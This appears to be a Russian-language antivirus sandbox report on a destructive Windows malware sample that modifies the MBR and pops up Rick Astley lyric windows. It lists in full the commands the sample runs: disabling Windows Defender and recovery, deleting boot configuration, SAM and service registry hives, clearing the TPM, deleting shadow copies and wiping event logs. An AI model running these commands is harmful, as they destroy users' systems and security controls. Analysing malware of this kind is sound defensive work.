Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует главную загрузочную запись (MBR).
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Диспетчера задач (Taskmgr)
- Системный антивирус (Защитник Windows)
блокирует:
- Среду восстановления Windows (Windows Recovery Environment)
Запускает большое число процессов
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\reg.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\startup.log
- %TEMP%\updwall.jpg
- \device\harddiskvolume3
- \device\harddiskvolume4
- \device\harddiskvolume2
- \device\cdrom0
- %HOMEPATH%\desktop\logs.txt
- %TEMP%\rrs.vbs
- %LOCALAPPDATA%\microsoft\windows\actioncentercache\windows-systemtoast-securityandmaintenance_10_0.png
Изменяет следующие файлы
- %APPDATA%\microsoft\windows\themes\transcodedwallpaper
- %APPDATA%\microsoft\windows\themes\cachedfiles\cachedimage_1152_864_pos2.jpg
Сетевая активность
TCP
Другие
- '14#.#5.117.91':443
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' "//Nologo" "%TEMP%\rrs.vbs"
Запускает на исполнение
- '<SYSTEM32>\reg.exe' "add" "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" "/v" "DisableTaskMgr" "/t" "REG_DWORD" "/d" "1" "/f"
- '<SYSTEM32>\reg.exe' "add" "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" "/v" "DisableTaskMgr" "/t" "REG_DWORD" "/d" "1" "/f"
- '<SYSTEM32>\reg.exe' "add" "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" "/v" "DisableAntiSpyware" "/t" "REG_DWORD" "/d" "1" "/f"
- '<SYSTEM32>\reg.exe' "add" "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" "/v" "DisableRealtimeMonitoring" "/t" "REG_DWORD" "/d" "1" "/f"
- '<SYSTEM32>\reg.exe' "add" "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" "/v" "DisableBehaviorMonitoring" "/t" "REG_DWORD" "/d" "1" "/f"
- '<SYSTEM32>\sc.exe' "stop" "WinDefend"
- '<SYSTEM32>\sc.exe' "config" "WinDefend" "start=" "disabled"
- '<SYSTEM32>\sc.exe' "stop" "Sense"
- '<SYSTEM32>\sc.exe' "config" "Sense" "start=" "disabled"
- '<SYSTEM32>\sc.exe' "stop" "WdNisSvc"
- '<SYSTEM32>\sc.exe' "config" "WdNisSvc" "start=" "disabled"
- '<SYSTEM32>\sc.exe' "stop" "WdBoot"
- '<SYSTEM32>\sc.exe' "config" "WdBoot" "start=" "disabled"
- '<SYSTEM32>\sc.exe' "stop" "WdFilter"
- '<SYSTEM32>\sc.exe' "config" "WdFilter" "start=" "disabled"
- '<SYSTEM32>\cmd.exe' "/c" "reg" "delete" "HKLM\BCD00000000" "/f"
- '<SYSTEM32>\reg.exe' "delete" "HKLM\BCD00000000" "/f
- '<SYSTEM32>\reagentc.exe' "/disable"
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('We\'re',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\bcdedit.exe' "/set" "{default}" "recoveryenabled" "No"
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('no',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\bcdedit.exe' "/set" "{default}" "nx" "AlwaysOff"
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('strangers',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\bcdedit.exe' "/set" "{default}" "pae" "ForceDisable"
- '<SYSTEM32>\bcdedit.exe' "/set" "{default}" "bootlog" "Yes"
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('to',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\bcdedit.exe' "/set" "{default}" "noserialmice" "Yes"
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('love',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\bcdedit.exe' "/set" "{default}" "safeboot" "Minimal"
- '<SYSTEM32>\bcdedit.exe' "/set" "{default}" "safebootalternateshell" "yes"
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('You',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\bcdedit.exe' "/delete" "{current}" "/f"
- '<SYSTEM32>\bcdedit.exe' "/delete" "{bootmgr}" "/f"
- '<SYSTEM32>\bcdedit.exe' "/delete" "{memdiag}" "/f"
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('know',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\reg.exe' "delete" "HKLM\SAM\SAM" "/f"
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('the',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\reg.exe' "delete" "HKLM\SAM\Domains" "/f"
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('rules',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\reg.exe' "delete" "HKLM\SYSTEM\CurrentControlSet\Services" "/f"
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('and',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('so',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('do',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\reg.exe' "delete" "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" "/f"
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('I',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\reg.exe' "add" "HKLM\SYSTEM\CurrentControlSet\Control" "/v" "SystemStartOptions" "/t" "REG_SZ" "/d" "GARBAGE" "/f"
- '<SYSTEM32>\reg.exe' "delete" "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" "/f"
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('A',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\reg.exe' "delete" "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" "/f"
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('full',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('commitment\'s',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\reg.exe' "delete" "HKLM\SECURITY\Policy" "/f"
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('what',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\reg.exe' "delete" "HKLM\DEFAULT\Software" "/f"
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('I\'m',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\fsutil.exe' "dirty" "set" "C:"
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('thinking',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\tpmtool.exe' "clear"
- '<SYSTEM32>\wbem\wmic.exe' "/namespace:\\root\cimv2\security\microsofttpm" "path" "Win32_Tpm" "call" "Clear"
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('of',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\sc.exe' "stop" "VSS"
- '<SYSTEM32>\sc.exe' "config" "VSS" "start=" "disabled"
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('wouldn\'t',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('get',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\vssadmin.exe' "delete" "shadows" "/all" "/quiet"
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('this',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('from',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' "shadowcopy" "delete"
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('any',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('other',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('guy',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\sc.exe' "query" "type=" "service" "state=" "all"
- '<SYSTEM32>\wevtutil.exe' "cl" "Application"
- '<SYSTEM32>\wevtutil.exe' "cl" "System"
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('just',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('wanna',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\wevtutil.exe' "cl" "Security"
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('tell',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' "computersystem" "set" "AutomaticManagedPagefile=False"
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('how',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\powercfg.exe' "/h" "off"
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('feeling',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('Gotta',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('make',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('understand',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('Never',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('gonna',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('give',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('up',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('let',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('down',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('run',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('around',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('desert',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('cry',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('say',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('goodbye',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('lie',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('hurt',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('We\'ve',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('known',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('each',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('for',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('long',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('Your',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('heart\'s',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('been',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('aching',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('but',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('you\'re',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('too',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('shy',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('it',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('Inside',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('we',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
- '<SYSTEM32>\mshta.exe' "javascript:new ActiveXObject('WScript.Shell').Popup('both',0,'Never Gonna Give You Up',64);close()" (со скрытым окном)
